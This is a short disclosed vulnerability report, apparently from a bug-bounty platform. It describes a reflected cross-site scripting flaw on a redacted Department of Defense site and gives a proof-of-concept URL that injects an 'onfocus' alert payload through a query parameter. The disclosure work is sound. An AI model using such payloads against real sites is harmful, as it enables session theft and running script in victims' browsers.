U.S. Dept Of Defense · Report #1457546
Reflected XSS at https://█████ via "██████████" parameter
Validstatus
mediumseverity
6upvotes
14 Feb 2022disclosed
How it was found
There is Reflected Cross site scripting issue at the following url:
https://█████
Proof Of Concept
https://████████?█████=%22onfocus%3d%22alert(document.domain)%22autofocus%3d%22&█████████████████████=Search
████
Best Regards @pelegn
Impact
Cookies Exfiltration SOAP Bypass CORS Bypass Executing javascript on the victim behalf
System Host(s)
████████
Affected Product(s) and Version(s)
CVE Numbers
Steps to Reproduce
Navigate to https://████?███████=%22onfocus%3d%22alert(document.domain)%22autofocus%3d%22&█████████████████=Search